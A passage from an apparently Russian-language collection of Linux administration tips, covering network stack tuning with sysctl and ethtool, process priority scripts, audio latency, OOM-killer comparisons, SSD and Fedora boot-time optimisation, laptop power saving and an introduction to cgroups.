    точки зрения сетевого адаптера это будет пакеты данных DMA до этого тайм-аута /
    количества кадров
    
    Почему: сокращение использования CPUs, аппаратных IRQ, может увеличить
    пропускную способность за счет задержки.
    
    Как:
    
    Команда проверки:
    
       ethtool -c ethX
    
    Как изменить:
    
       ethtool -C ethX rx-usecs value tx-usecs value
    
    Как мониторить:
    
       cat /proc/interrupts
      
    
    Объединение прерываний (soft IRQ) и   управления сетевыми очередями  QDisc
    входящих пакетов (ingress).
    
    
    Что: максимальное число микросекунд в одном NAPI
    (https://en.wikipedia.org/wiki/New_API) цикле опроса. Опрос завершится когда,
    либо `netdev_budget_usecs` истечёт по временя цикла опроса или количество
    обработанных пакетов достигнет `netdev_budget`.
    
    Почему: вместо того чтобы обрабатывать кучу softIRQ, драйвер сохраняет данные в
    пуле (polling data); следите за состояниями `dropped` (число пакетов,
    отброшенных из-за того, что `netdev_max_backlog` был превышен) и  `squeezed`
    (число раз когда ksoftirq превысил `netdev_budget`).
    
    
    Как:
    
    Команда проверки:
    
       sysctl net.core.netdev_budget_usecs
    
    Как изменить:
    
       sysctl -w net.core.netdev_budget_usecs value
    
    Как мониторить:
    
       cat /proc/net/softnet_stat
    
    или скриптом.
    
    
    Что: `netdev_budget` максимальное количество пакетов, взятых со всех
    интерфейсов за один цикл опроса (NAPI poll). В одном цикле опроса интерфейсы,
    которые зарегистрированы для опроса, зондируются круговым способом. Кроме того,
    цикл опроса не может превышать `netdev_budget_usecs` микросекунд, даже если
    `netdev_budget` не был исчерпан.
    
    
    Как:
    
    Команда проверки:
    
       sysctl net.core.netdev_budget
    
    Как изменить:
    
       sysctl -w net.core.netdev_budget value
    
    Как мониторить:
    
    cat /proc/net/softnet_stat
    
    или скриптом.
    
    
    Что: `dev_weight` максимальное количество пакетов, которое ядро может
    обработать при прерывании NAPI, это переменная для каждого процессора. Для
    драйверов, которые поддерживают LRO или GRO_HW, аппаратно агрегированный пакет
    считается в этом пакете одним.
    
    Как:
    
    Команда проверки:
    
       sysctl net.core.dev_weight
    
    Как изменить:
    
      sysctl -w net.core.dev_weight value
    
    Как мониторить:
    
       cat /proc/net/softnet_stat 
    
    или скриптом.
    
    
    Что: `netdev_max_backlog` максимальное количество пакетов, находящихся в
    очереди на стороне INPUT (входной qdisc_), когда интерфейс получает пакеты
    быстрее, чем ядро может их обработать.
    
    Как:
    
    Команда проверки:
    
       sysctl net.core.netdev_max_backlog
    
    Как изменить:
    
       sysctl -w net.core.netdev_max_backlog value
    
    Как мониторить:
    
       cat /proc/net/softnet_stat
    
    или скриптом.
    
    
    
    Исходящие QDisc - txqueuelen (длина очереди tx) и default_qdisc
    
    
    Что: `txqueuelen` максимальное количество пакетов, поставленных в очередь на стороне вывода.
    
    Почему: buffer/queue появление разрывов соединений, а также примением контроля трафика
    tc (traffic control).
    
    Как:
    
    Команда проверки:
    
       ifconfig ethX
    
    Как изменить:
    
       ifconfig ethX txqueuelen value
    
    Как мониторить:
    
       ip -s link
    
     
    Что: `default_qdisc` дисциплина очереди по умолчанию, используемая для сетевых устройств.
    
    Почему: Каждое приложение имеет разную нагрузку и требует контроля трафика, оно
    также используется для борьбы с  излишней сетевой буферизацией bufferbloat.
    
    Как:
    
    Команда проверки:
    
       sysctl net.core.default_qdisc
    
    
    Как изменить: 
    
       sysctl -w net.core.default_qdisc value
    
    Как мониторить:
    
       tc -s qdisc ls dev ethX
    
    
    Буферы/очереди чтения и записи (TCP Read and Write Buffers/Queues)
    
    Что: `tcp_rmem` - min (минимальный размер доступный при создании сокета),
    default (начальный размер), max (максимальный размер) - максимальный размер
    приёмного буфера TCP.
    
    Почему: буфер/очередь приложения для записи/отправки данных. Понять последствия
    может помочь статья https://blog.cloudflare.com/the-story-of-one-latency-spike/
    
    Как:
    
    Команда проверки:
    
       sysctl net.ipv4.tcp_rmem
    
    Как изменить: 
    
       sysctl -w net.ipv4.tcp_rmem="min default max"
    
    когда меняете значение по умолчанию, не забудьте перезагрузить приложения в
    пользовательском окружении (т.е. ваш веб-сервер, nginx, и т.п.)
    
    Как мониторить:
    
       cat /proc/net/sockstat
    
    
    Что: `tcp_wmem` - min (минимальный размер доступный при создании сокета),
    default (начальный размер), max (максимальный размер) - размер буфера отправки,
    используемого сокетами TCP.
    
    Как:
    
    Команда проверки: 
    
       sysctl net.ipv4.tcp_wmem
    
    
    Как изменить:
    
       sysctl -w net.ipv4.tcp_wmem="min default max"
    
    когда меняете значение по умолчанию, не забудьте перезагрузить приложения в
    пользовательском окружении (т.е. ваш веб-сервер, nginx, и т.п.)
    
    Как мониторить:
    
       cat /proc/net/sockstat
    
    
    
    Что: `tcp_moderate_rcvbuf` - если установлено, TCP выполняет автонастройку
    приёмного буфера, пытаясь автоматически определить размер буфера.
    
    Как:
    
    Команда проверки:
    
      sysctl net.ipv4.tcp_moderate_rcvbuf
    
    Как изменить:
    
       sysctl -w net.ipv4.tcp_moderate_rcvbuf value
    
    Как мониторить:
    
       cat /proc/net/sockstat
    
    
    TCP FSM и алгоритм перегрузки (Honorable mentions - TCP FSM and congestion algorithm)
    
    
  • `sysctl net.core.somaxconn` - обеспечивает верхний предел значения параметра backlog, передаваемого в функцию `listen()` (https://eklitzke.org/how-tcp-sockets-work), известный пользователям как `SOMAXCONN`. Если вы меняете это значение, вы также должны изменить в своём приложении совместимые значения (т.е. nginx backlog).
  • `cat /proc/sys/net/ipv4/tcp_fin_timeout` - указывает количество секунд ожидания окончательного пакета FIN, прежде чем сокет будет принудительно закрыт. Это строго является нарушением спецификации TCP, но требуется для предотвращения атак типа "отказ в обслуживании".
  • `cat /proc/sys/net/ipv4/tcp_available_congestion_control` - показывает доступные варианты управления перегрузкой, которые зарегистрированы.
  • `cat /proc/sys/net/ipv4/tcp_congestion_control` - устанавливает алгоритм управления перегрузкой, используемое для новых соединений.
  • `cat /proc/sys/net/ipv4/tcp_max_syn_backlog` - задаёт максимальное число запросов подключения в очереди, которые еще не получили подтверждения от подключающегося клиента; если это число будет превышено, ядро начнёт отбрасывать запросы.
  • `cat /proc/sys/net/ipv4/tcp_syncookies` - включён/выключен [syn cookies](https://en.wikipedia.org/wiki/SYN_cookies), полезен для защиты от syn flood атак (https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/).
  • `cat /proc/sys/net/ipv4/tcp_slow_start_after_idle` - включён/выключен медленный старт tcp. Как мониторить: общая сводка netstat -atn | awk '/tcp/ {print $6}' | sort | uniq -c счётчики по определённому состоянию: `established`, `syn-sent`, `syn-recv`, `fin-wait-1`, `fin-wait-2`, `time-wait`, `closed`, `close-wait`, `last-ack`, `listening`, `closing`: ss -neopt state time-wait | wc -l` tcp статистика netstat -st более читаемая tcp статистика nstat -a обобщённая статистика сокетов cat /proc/net/sockstat детальная статистика, описание полей смотрите: https://www.kernel.org/doc/Documentation/networking/proc_net_tcp.txt cat /proc/net/tcp `ListenOverflows` и `ListenDrops` - важные поля для наблюдения cat /proc/net/netstat читаемый вариант /proc/net/netstat (https://sa-chernomor.livejournal.com/9858.html) cat /proc/net/netstat | awk '(f==0) { i=1; while ( i<=NF) {n[i] = $i; i++ }; f=1; next} \ (f==1){ i=2; while ( i<=NF){ printf "%s = %d\n", n[i], $i; i++}; f=0} ' | grep -v "= 0 Источник: https://commons.wikimedia.or/wiki/File:Tcp_state_diagram_fixed_new.svg Сетевые утилиты для тестирования и мониторинга
  • iperf3 (https://iperf.fr/) - пропускная способность сети
  • vegeta (https://github.com/tsenart/vegeta) - нагрузочное тестирование HTTP
  • netdata (https://github.com/firehol/netdata) - система распределённого мониторинга производительности и работоспособности в реальном времени Рекомендации
  • https://www.kernel.org/doc/Documentation/sysctl/net.txt
  • https://www.kernel.org/doc/Documentation/networking/ip-sysctl.txt
  • https://www.kernel.org/doc/Documentation/networking/scaling.txt
  • https://www.kernel.org/doc/Documentation/networking/proc_net_tcp.txt
  • https://www.kernel.org/doc/Documentation/networking/multiqueue.txt
  • http://man7.org/linux/man-pages/man7/tcp.7.html
  • http://man7.org/linux/man-pages/man8/tc.8.html
  • http://www.ece.virginia.edu/cheetah/documents/papers/TCPlinux.pdf
  • https://netdevconf.org/1.2/papers/bbr-netdev-1.2.new.new.pdf
  • https://blog.cloudflare.com/how-to-receive-a-million-packets/
  • https://blog.cloudflare.com/how-to-achieve-low-latency/
  • https://blog.packagecloud.io/eng/2016/06/22/monitoring-tuning-linux-networking-stack-receiving-data/
  • https://www.youtube.com/watch?v=6Fl1rsxk4JQ
  • https://oxnz.github.io/2016/05/03/performance-tuning-networking/
  • https://www.intel.com/content/dam/www/public/us/en/documents/reference-guides/xl710-x710-performance-tuning-linux-guide.pdf
  • https://access.redhat.com/sites/default/files/attachments/20150325_network_performance_tuning.pdf
  • https://medium.com/@matteocroce/linux-and-freebsd-networking-cbadcdb15ddd
  • https://blogs.technet.microsoft.com/networking/2009/08/12/where-do-resets-come-from-no-the-stork-does-not-bring-them/
  • https://www.intel.com/content/dam/www/public/us/en/documents/white-papers/multi-core-processor-based-linux-paper.pdf
  • http://syuu.dokukino.com/2013/05/linux-kernel-features-for-high-speed.html
  • https://www.bufferbloat.net/projects/codel/wiki/Best_practices_for_benchmarking_Codel_and_FQ_Codel/
  • https://software.intel.com/en-us/articles/setting-up-intel-ethernet-flow-director
  • https://courses.engr.illinois.edu/cs423/sp2014/Lectures/LinuxDriver.pdf
  • https://www.coverfire.com/articles/queueing-in-the-linux-network-stack/
  • http://vger.kernel.org/~davem/skb.html
  • https://www.missoulapubliclibrary.org/ftp/LinuxJournal/LJ13-07.pdf
  • https://opensourceforu.com/2016/10/network-performance-monitoring/
  • https://www.yumpu.com/en/document/view/55400902/an-adventure-of-analysis-and-optimisation-of-the-linux-networking-stack
  • https://lwn.net/Articles/616241/
  • https://medium.com/@duhroach/tools-to-profile-networking-performance-3141870d5233
  • https://www.lmax.com/blog/staff-blogs/2016/05/06/navigating-linux-kernel-network-stack-receive-path/
  • https://es.net/host-tuning/100g-tuning/
  • http://tcpipguide.com/free/t_TCPOperationalOverviewandtheTCPFiniteStateMachineF-2.htm
  • http://veithen.github.io/2014/01/01/how-tcp-backlog-works-in-linux.html
  • https://people.cs.clemson.edu/~westall/853/tcpperf.pdf
  • http://tldp.org/HOWTO/Traffic-Control-HOWTO/classless-qdiscs.html
  • https://es.net/assets/Papers-and-Publications/100G-Tuning-TechEx2016.tierney.pdf
  • https://www.kernel.org/doc/ols/2009/ols2009-pages-169-184.pdf
  • https://devcentral.f5.com/articles/the-send-buffer-in-depth-21845
  • http://packetbomb.com/understanding-throughput-and-tcp-windows/
  • https://www.speedguide.net/bdp.php
  • https://www.switch.ch/network/tools/tcp_throughput/
  • https://www.ibm.com/support/knowledgecenter/en/SSQPD3_2.6.0/com.ibm.wllm.doc/usingethtoolrates.html
  • https://blog.tsunanet.net/2011/03/out-of-socket-memory.html
  • https://unix.stackexchange.com/questions/12985/how-to-check-rx-ring-max-backlog-and-max-syn-backlog-size
  • https://serverfault.com/questions/498245/how-to-reduce-number-of-time-wait-processes
  • https://unix.stackexchange.com/questions/419518/how-to-tell-how-much-memory-tcp-buffers-are-actually-using
  • https://eklitzke.org/how-tcp-sockets-work
  • https://www.linux.com/learn/intro-to-linux/2017/7/introduction-ss-command
  • https://staaldraad.github.io/2017/12/20/netstat-without-netstat/
  • https://loicpefferkorn.net/2016/03/linux-network-metrics-why-you-should-use-nstat-instead-of-netstat/
  • http://assimilationsystems.com/2015/12/29/bufferbloat-network-best-practice/
  •  
    ----* Запуск процесса с совсем-совсем IDLE приоритетом в Linux   Автор: СеменСемныч777  [комментарии]
     
    Скрипт для запуска процесса в Linux с минимальным влиянием на работу других процессов:
    
       #!/bin/sh
       # куда бы еще /usr/bin/nice впихнуть?
       /usr/bin/chrt --idle 0 /usr/bin/ionice -c 3 $* &
       XPID=$!
       /usr/bin/cpulimit -l 1 -c 1 -b -p $XPID
       wait $XPID
    
    В chrt "--idle 0" выставляет режим планировщика SCHED_IDLE с минимальным приоритетом.
    
    В ionice  "-c 3" активирует 3 класс (idle) планирования ввода/вывода.
    
    В cpulimit опцией "-l" задаётся допустимый процент использования CPU (в
    диапазоне от 0 до 100 * на число процессорных ядер), - "-c" ограничивает число
    ядер CPU, "-b" - запускает процесс cpulimit в фоне, "-p" применяет ограничение
    для PID уже запущенного процесса. При помощи опции "-i" можно распространить
    ограничение и на все дочерние процессы.
    
    Вариант в форме однострочника:
    
       /usr/bin/cpulimit -l 1 -c 1 -f -q -- /usr/bin/nice -19 /usr/bin/chrt --idle 0 /usr/bin/ionice -c 3 $* 
    
     
    ----* Гитара в Debian и борьба с XRUN   Автор: Павел Отредиез  [комментарии]
     
    Опыт настройки Debian для повышения качества обработки звука с электрогитары.
    
    У меня достаточно средняя конфигурация: Athlon X3 3.4 GHz и дешевая USB
    звуковая карта Behringer UFO202 (лучше бы Behringer UCA222). Из софта использую
    qjackctl + jackd, guitarix, rakarrack. Надо сказать, что guitarix
    прожорливее на первый взгляд, чем rakarrack, хотя в обоих случаях
    потребление ресурсов зависит от навороченности эффектов.
    
    Итак чего я добился: ни одного XRUN (переполнение звукового буфера) при
    запуске jackd:
    
       /usr/bin/jackd -dalsa -dhw:CODEC -r48000 -p256 -n2
    
    Что позволяет играть без артефактов с почти незаметной задержкой.
    
    Для этого:
    
    1. И самое важное. Заметил что cpufreq гувернер ondemand всё равно через минуту
    две начинает снижать частоту ядер процессора и проскакивают единичные XRUN.
    Поэтому наш выбор гувернер performance (у меня 3 ядра):
    
       cpufreq-set -c 0 -g performance
       cpufreq-set -c 1 -g performance
       cpufreq-set -c 2 -g performance
    
    2. Также советую nice. В debian приведем файл /etc/security/limits.d/audio.conf
    к виду:
    
       @audio   -  rtprio     95
       @audio   -  memlock    unlimited
       @audio   -  nice      -19
    
    Обратите внимание последняя строчка была по умолчанию закоментирована.
    Добавим себя в группу audio если нет:
    
       gpasswd -a user audio
    
    Средствами qjackctl приоритет меньше 0 не выставляется. Мы сделаем -19. Для
    этого в свойствах ярлыков на панели запуска программ поменяем команды запуска типа:
    
       nice -n -19 qjackctl
       nice -n -19 guitarix
       nice -n -19 rakarrack
    
    Дочерние процессы наследуют приоритет.
    
     
    ----* Сравнение работающих в пространстве пользователя обработчиков нехватки памяти (доп. ссылка 1)   Автор: кек  [комментарии]
     
    earlyoom https://github.com/rfjakob/earlyoom
    
    Простой, лёгкий, стабильный. VmRSS меньше мегабайта, нагрузка на процессор
    околонулевая. С релиза 1.3 стал очень надёжен (исправлено возможное убийство
    невиновных). Лучший выбор для домохозяек, которым не нужны лишние настройки, а
    нужна хорошая работа из коробки. Поддержка PSI обсуждается
    (https://github.com/rfjakob/earlyoom/issues/100 - автор давно собирался
    добавить поддержку PSI, но в последнее время засомневался в целесообразности
    этого. Проводятся работы по убеждению сенсея в необходимости добавления
    поддержки PSI).
    
    Присутствует в репозиториях Fedora, Ubuntu 18.04+ и Debian 10+. Начиная с
    версии 1.3 могу смело рекомендовать его в качестве дефолтного киллера для
    десктопа. Начиная с
    версии 1.3 могу смело рекомендовать его в качестве применяемого по умолчанию
    oom-killer для десктопа. Будет [[https://pagure.io/fedora-workstation/issue/119 включён[[ в Fedora 32 Workstation по умолчанию.
    
    
    
    
    nohang https://github.com/hakavlad/nohang
    
    Явная и очень гибкая конфигурация. Десятки параметров настройки в конфиге.
    Подробная печать свойств завершаемого процесса. Печать таблицы процессов со
    свойствами всех процессов перед корректирующим действием. Возможность реакции
    на PSI (pressure stall information, https://lwn.net/Articles/759658/) с выбором
    произвольной метрики и сигруппы для мониторинга. Возможность кастомизации
    корректирующих действий: отправка жертве любого сигнала (помимо
    SIGTERM/SIGKILL) или выполнение произвольной команды. Возможность тонкого
    влияния на badness процесса путем сопоставления его name, cmdline, cgroup, exe
    realpath c заданным регулярным выражением. Уведомления о низком уровне памяти
    (произвольной командой или через notify-send). Подготовлены пакеты  для Fedora
    и CentOS 7.
    
    Минусы: мало документации. Хочу релизнуться, но лень писать документацию. Можно
    рекомендовать тем, кому не хватает возможностей earlyoom (у последнего нет
    поддержки PSI и уведомлений о нехватке памяти).
    
    oomd https://github.com/facebookincubator/oomd
    
    Работает только с сигруппами - минимальным объектом для корректирующего
    действия является сигруппа. Это означает, что при применении на десктопе oomd
    убъёт всю сессию посредством SIGKILL. В связи с этим рекомендуется только для
    крупных высоконагруженных серверов. Плюс требования: работает только с systemd,
    cgroup2 должна быть единственной иерархией, иерархия cgroup_v1 должна быть
    отключена + требуется ядро с поддержкой PSI + своп должен быть включен (без
    свопа oomd бесполезен). Плюс oomd заметно грузит CPU - нагрузка в 4.5% в
    порядке вещей (We see this internally too. Something like 4.5% of a core all
    the time. -
    https://github.com/facebookincubator/oomd/issues/79#issuecomment-520615498 ).
    Модульная архитектура, но издержки описаны выше. Пакеты сформированы только для Fedora.
    
    low-memory-monitor https://gitlab.freedesktop.org/hadess/low-memory-monitor/
    
    Рано делать выводы. Идея просить процессы умерить аппетиты самостоятельно
    вызывает скепсис. В остальном этот киллер примитивен и не содержит других киллер-фич.
    
    Итог
    
    Если у вас CentOS 6, или слабое железо, или не нужно ничего лишнего, или
    хочется "быстро поставить и забыть" - ставьте earlyoom. Nohang имеет
    дополнительные возможности, полезные как для десктопа, так и для сервера. oomd
    лучше не трогать, если сам не из Фейсбука.
    
     
    ----* Оптимизация работы на SSD-накопителе рабочей станции с Fedora Linux  (доп. ссылка 1)   [комментарии]
     
    Включаем для SSD-накопителя поддержку TRIM и отключаем обновление метаданных со
    временем доступа к файлу. Добавляем в список флагов /etc/fstab опции discard и noatime:
    
        /dev/mapper/fedora-root /      ext4    noatime,discard  1 1
        /dev/mapper/fedora-home /home  ext4    noatime,discard  1 2
    
    
    Организуем хранение содержимого временной директории в памяти, в /etc/fstab
    включаем tmpfs для /tmp:
    
        none /tmp     tmpfs nodev,nosuid,mode=1777 0 0
      
    По аналогии можно создать хранимый в памяти раздел и для логов. Содержимое
    логов будет сбрасываться при перезагрузке, но для десктоп-систем потеря логов,
    как правило, не критична.
    
        none /var/log tmpfs size=20m 0 0
    
    Отключаем кэширование страниц Firefox на диске. В  about:config  меняем
    содержимое переменной browser.cache.disk.enable на false и указываем приемлемый
    размер кэша в ОЗУ через переменную      browser.cache.memory.capacity (65536
    для 64 Мб).
    
     
    
    Включаем режим обратного кэширования записи для SSD-диска (дополнительно
    кэширование следует включить в BIOS ноутбука) и заменяем планировщик
    ввода/вывода на вариант, оптимизированный для Flash-памяти.
    
    Устанавливаем утилиту hdparm:
     
       sudo yum install hdparm
    
    Создаём файл /etc/rc.local и прописываем в него:
    
        #!/bin/sh
        hdparm -W1 /dev/sda
        echo noop > /sys/block/sdb/queue/scheduler
    
    где, /dev/sda - SSD-накопитель. 
    
       sudo chmod +x /etc/rc.local
    
    Активируем сервис для запуска /etc/rc.local в systemd:
    
       systemctl enable rc-local.service
    
     
    ----* Сокращение времени загрузки Fedora 17 c 15 до 3 секунд (доп. ссылка 1)   [комментарии]
     
    Изложенные в данной статье инструкции позволяют сократить до трёх секунд
    загрузку дистрибутива Fedora 17 с NetworkManager до экрана приглашения входа в
    систему от GDM. Указанная конфигурация опробована на ноутбуке Lenovo T420s
    (2x2x Intel Core i5-2540M CPU @ 2.60GHz) и SSD-накопителем Intel SSDSA2BW160G3L.
    
    1. Используем простейшую конфигурацию разбиения диска с загрузочным и рабочим
    разделами с файловой системой Ext4:
    
       sda1 ext4 /boot
       sda2 swap
       sda3 ext4 /
    
    После установки дистрибутива потребуется как минимум две перезагрузки для
    достижения оптимального времени загрузки из-за необходимости адаптации к
    загрузочной последовательности механизма readahead (вначале readahead собирает
    информацию о загружаемых программах и библиотеках, после чего начнёт разом
    загружать компоненты в кэш страниц памяти).
    
    Обновляем все пакеты, активируем prelink и устанавливаем пакет systemd-analyze:
    
       sudo yum update
       sudo /etc/cron.daily/prelink
       sudo yum install systemd-analyze
    
    
    После перезагрузки выполняем:
    
       sudo systemd-analyze
    
       Startup finished in 1413ms (kernel) + 2911ms (initramfs) + 10593ms (userspace) = 14918ms
    
    Как видим в штатном режиме дистрибутив загрузился за 15 секунд.
    
    Начинаем оптимизацию. 
    Отключаем initramfs - так как в ядро встроена поддержка файловой системы ext4,
    поэтому для монтирования корневого раздела не требуется загрузка дополнительных
    модулей ядра. В параметрах загрузки явно указываем имя корневого раздела (без
    UUID) и тип ФС. Содержимое /etc/grub2.cfg должно выглядеть примерно так:
    
       linux /vmlinuz-3.3.7-1.fc17.x86_64 root=/dev/sda3 rootfstype=ext4 quiet libahci.ignore_sss=1 raid=noautodetect
       # initrd /initramfs-3.3.7-1.fc17.x86_64.img
    
    Опции "raid=noautodetect" и "libahci.ignore_sss=1" позволяют ускорить время
    инициализации ядра из-за пропуска дополнительных проверок.
    
    После перезагрузки systemd-analyze показывает сокращение времени до 14684ms.
    Продолжаем оптимизацию.
    
    Так как на компьютере не используются  LVM, RAID и шифрование можно смело
    отключить все сервисы fedora-*storage*. Дополнительно можно отключить систему
    вывода заставки  plymouth, так как нам важнее скорость а не эстетическое
    наслаждение от ожидания завершения загрузки. Для отключения указанных сервисов
    следует использовать команду "systemctl mask", достоинство которой ещё и в том,
    что %post скрипт RPM в дальнейшем не включит сервис автоматически.
    
       cd /lib/systemd/system
       for i in fedora*storage* plymouth-*.* lvm2-monitor.* mdmonitor*.*; do sudo systemctl mask $i;done
    
    Одновременно отключим лишние SysV-скрипты  livesys, livesys-late и spice-vdagentd:
    
       for i in livesys livesys-late spice-vdagentd ; do sudo chkconfig $i off;done
    
    Перезагружаем систему и наблюдаем через systemd-analyze сокращение времени загрузки до 8197ms
    
    Далее переходим к экстремальным действиям и отключаем все сервисы, кроме
    NetworkManager, поэтому важно запомнить что именно было отключено, так как в
    результате будет получена система без почты, межсетевого экрана, системы
    печати, утилит abrt,  avahi, некоторых точек монтирования, rsyslog, irqbalance
    и защиты selinux.
    
       cd /lib/systemd/system
       for i in abrt*.service auditd.service avahi-daemon.* bluetooth.* dev-hugepages.mount dev-mqueue.mount \\
          fedora-configure.service fedora-loadmodules.service fedora-readonly.service ip6tables.service \\
          iptables.service irqbalance.service mcelog.service rsyslog.service sendmail.service sm-client.service \\
          sys-kernel-config.mount sys-kernel-debug.mount; do \\
        sudo systemctl mask $i; \\
       done
    
    Для отключения selinux правим  файл /etc/selinux/config и добавляем настройку
    "selinux=0" в строку с параметрами ядра. Настройки /etc/grub2.cfg принимают
    примерно такой вид:
    
       linux /vmlinuz-3.3.7-1.fc17.x86_64 root=/dev/sda3 rootfstype=ext4 libahci.ignore_sss=1 raid=noautodetect selinux=0
       #  initrd /initramfs-3.3.7-1.fc17.x86_64.img
    
    
    Перезагружаемся и наблюдаем по systemd-analyze сокращение загрузки до 2926ms.
    
    Но идеи по оптимизации пока не исчерпаны. Попробует выжать ещё времени через
    манипуляции с монтированием разделов. Переводим раздел /boot в режим
    "монтирование по требованию" и создаём раздел /tmp с использованием  tmpfs для
    сокращения нагрузки на диск в процессе загрузки. В результате /etc/fstab будет
    выглядеть следующим образом:
    
       /dev/sda3  /                       ext4    defaults        1 1
       /dev/sda1  /boot                   ext4    noauto,comment=systemd.automount     1 2
       /dev/sda2  swap                    swap    defaults        0 0
       tmpfs      /tmp                    tmpfs   defaults        0 0
    
    После перезагрузки systemd-analyze выдаёт 2769ms.
    
    Так как NetworkManager запускается также при старте программы входа в систему,
    можно отключить приводящую к загрузке  NetworkManagers зависимость на уровне
    multi-user, так как он всё равно будет параллельно запущен при запуске gdm,
    зависимость для которого остаётся.
    
       sudo rm /etc/systemd/system/multi-user.target.wants/NetworkManager.service
    
    Проверяем время загрузки - 2603ms.
    
    Для проверки насколько readahead влияет на время загрузки  для эксперимента
    временно выключим readahead:
    
       cd /lib/systemd/system   
       for i in *readahead*; do sudo systemctl mask $i;done
    
    После перезагрузки systemd-analyze показывает 2547ms. Но несмотря на сокращение
    времени загрузки до запуска экрана входа в систему, сам э
    кран визуально появляется с некоторой задержкой. Для того чтобы более точно
    оценить время загрузки воспользуемся секундомером.
    
       sudo dracut -f
    
    Время загрузки с readahead и возвращённым initramfs: 
    
       systemd-analyze 
       Startup finished in 803ms (kernel) + 2217ms (initramfs) + 1018ms (userspace) = 4039ms
    
    При сборке initramfs без plymouth и в режиме только хоста:
    
       sudo dracut -f -H -o plymouth
    
    получаем:
    
       systemd-analyze 
       Startup finished in 612ms (kernel) + 499ms (initramfs) + 1330ms (userspace) = 2443ms
    
    Следует иметь в виде,  что сервисы  отключенные через "systemctl mask" при
    необходимости  можно в любой момент вернуть командой "systemctl unmask".
    
     
    ----* Советы по увеличению автономной работы ноутбука с Debian/Ubuntu (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    1. Включение ALPM позволит сэкономить 1-2 Вт энергии, но может привести к
    повреждению данных для некоторых устройств.
    
       echo SATA_ALPM_ENABLE=true | sudo tee /etc/pm/config.d/sata_alpm
    
    2. Изменение фона рабочего стола на более светлый цвет для ноутбука с
    LCD-экраном увеличит продолжительность работы примерно на 1%.
    
    3. Включение режима энергосбережения RC6 для видеокарт Intel i915 через
    передачу параметра ядра i915.i915_enable_rc6=1 позволит сэкономить 25-40%
    энергии для устройств на базе архитектуры Sandybridge, но в редких случаях
    может привести к зависанию на определённых ноутбуках.
    
    4. Включение режима сжатия фреймбуфера (Frame Buffer Compression) для драйвера
    i915 через передачу параметра ядру i915.i915_enable_fbc=1 позволит сэкономить
    до 0.6 Вт.
    
    5. Установка задержки гашения обратного хода луча вертикальной развёртки (DRM
    vblank off) через параметр ядра drm.vblankoffdelay=1 сократит число вызывающих
    пробуждение процессора событий (wakeup events) и возможно сэкономит немного энергии.
    
    6. Отключение всех беспроводных подсистем, если они не используются. В
    частности отключение bluetooth  ("blacklist bluetooth" в
    /etc/modprobe.d/blacklist.conf) приведёт к экономии 1-2 Вт.
    
    7. Отключение web-камеры ("blacklist uvcvideo" в
    /etc/modprobe.d/blacklist.conf) поможет сэкономить 1-2 Вт.
    
    8. Использование утилиты PowerTop для перевода следующих устройств в состояние
    экономного потребления энергии:
    
       * Webcam
       * Audio
       * DRAM
       * Ethernet
       * Wifi
       * Bluetooth
       * SATA
       * MMC/SD
    
    9. Использование ядра Linux в котором решена проблема с активацией ASPM
    (Active State Power Management) для карт PCI Express. Ядро тестовой ветки
    Ubuntu 12.04 уже содержит нужный патч. Для других систем рекомендуется в
    качестве обходного пути передать ядру параметр
    "pcie_aspm=powersave", который по умолчанию активирует режим максимальной
    экономии энергии (иначе, будет использован режим максимальной
    производительности). Для некоторых моделей ноутбуков данное действие может
    привести к снижению энергопотребления на 10-30%.
    
    10. Приглушение яркости экрана до 2/3 от максимального значения сэкономит 1 Вт.
    
    11. Отключение мерцающего курсора в gnome-terminal позволит избавиться от
    лишних пробуждений процессора:
    
       gconftool-2 --type string --set /apps/gnome-terminal/profiles/Default/cursor_blink_mode off
    
    12. Выявление проблем с излишне частым пробуждением процессора и излишней
    нагрузкой на CPU для часто используемых приложений при помощи пакета
    powertop или утилит eventstat и cpustat из PPA репозитория colin-king/powermanagement.
    
    Например для выявления наиболее активных событий за 10 секунд:
    
       sudo eventstat 10 1
    
      Evnt/s PID   Task            Init Function             Callback
       96.10 12659 npviewer.bin    hrtimer_start_range_ns    hrtimer_wakeup
       58.10     0 [kern sched]    Load balancing tick       tick_sched_timer
       49.80  2026 alsa-source     hrtimer_start_range_ns    hrtimer_wakeup
       49.30  2024 alsa-sink       hrtimer_start_range_ns    hrtimer_wakeup
       47.20     0 kworker/0:0     hrtimer_start_range_ns    tick_sched_timer
    
    Для мониторинга в течение 60 секунд и вывода процессов, генерирующих более 5 событий в секунду:
    
       sudo eventstat -t 5 60 1
    
      Evnt/s PID   Task            Init Function             Callback
       54.00  2003 compiz          hrtimer_start_range_ns    hrtimer_wakeup
       49.35  2024 alsa-sink       hrtimer_start_range_ns    hrtimer_wakeup
       18.92     0 [kern sched]    Load balancing tick       tick_sched_timer
       17.57     0 kworker/0:0     hrtimer_start_range_ns    tick_sched_timer
       16.13     0 [kern core]     usb_hcd_poll_rh_status    rh_timer_func
        9.98  2386 gwibber-service hrtimer_start_range_ns    hrtimer_wakeup
        9.88 10063 desktopcouch-se hrtimer_start_range_ns    hrtimer_wakeup
        9.87  2382 ubuntuone-syncd hrtimer_start_range_ns    hrtimer_wakeup
        9.83 10109 desktopcouch-se hrtimer_start_range_ns    hrtimer_wakeup
        5.23     0 [kern core]     hrtimer_start             tick_sched_timer
       12046 Total events, 200.77 events/sec
    
     
    ----* Управление ресурсами с помощью cgroups  (доп. ссылка 1) (доп. ссылка 2) (доп. ссылка 3)   Автор: Ivan Pogudin  [комментарии]
     
    Cgroups (Control Groups) - обеспечивают механизм для агрегирования множества
    задач и их будущих потомков в иерархические группы с определенным поведением.
    Так начинается документация посвященная cgroups поставляемая с ядром Linux.
    Собственно это и есть достаточно ёмкое описание технологии. Но конечно же его
    не достаточно.
    Небольшое отступление, необходимо привести конфигурацию программного
    обеспечения на которой выполнялись примеры - это ОС Debian GNU/Linux 6.0.1.
    
    Как правило новые технологии изучают либо в случае поиска инструментов
    необходимость в которых уже назрела, либо в качестве знакомства с инструментами
    и потенциальной возможности их дальнейшего применения. В первом случае ответ на
    вопрос "Для чего это нужно?" уже получен, во втором нет. Тем не менее я приведу
    ответ на этот вопрос. Cgroups - это технология обеспечивающая контроль за
    распределением различных ресурсов доступных операционной системе между группами
    процессов. Что это дает? Это дает возможность при высоких нагрузках
    распределять ресурсы по заранее заданным правилам между группами процессов.
    Плюс к этом существует возможность собирать статистику по потребленным ресурсам
    с помощью специальной подсистемы. Где это может применяться? В любой ситуации,
    где необходимо распределить ресурсы между конкурирующими процессами и в которой
    не хватает таких механизмов как nice и т.д.
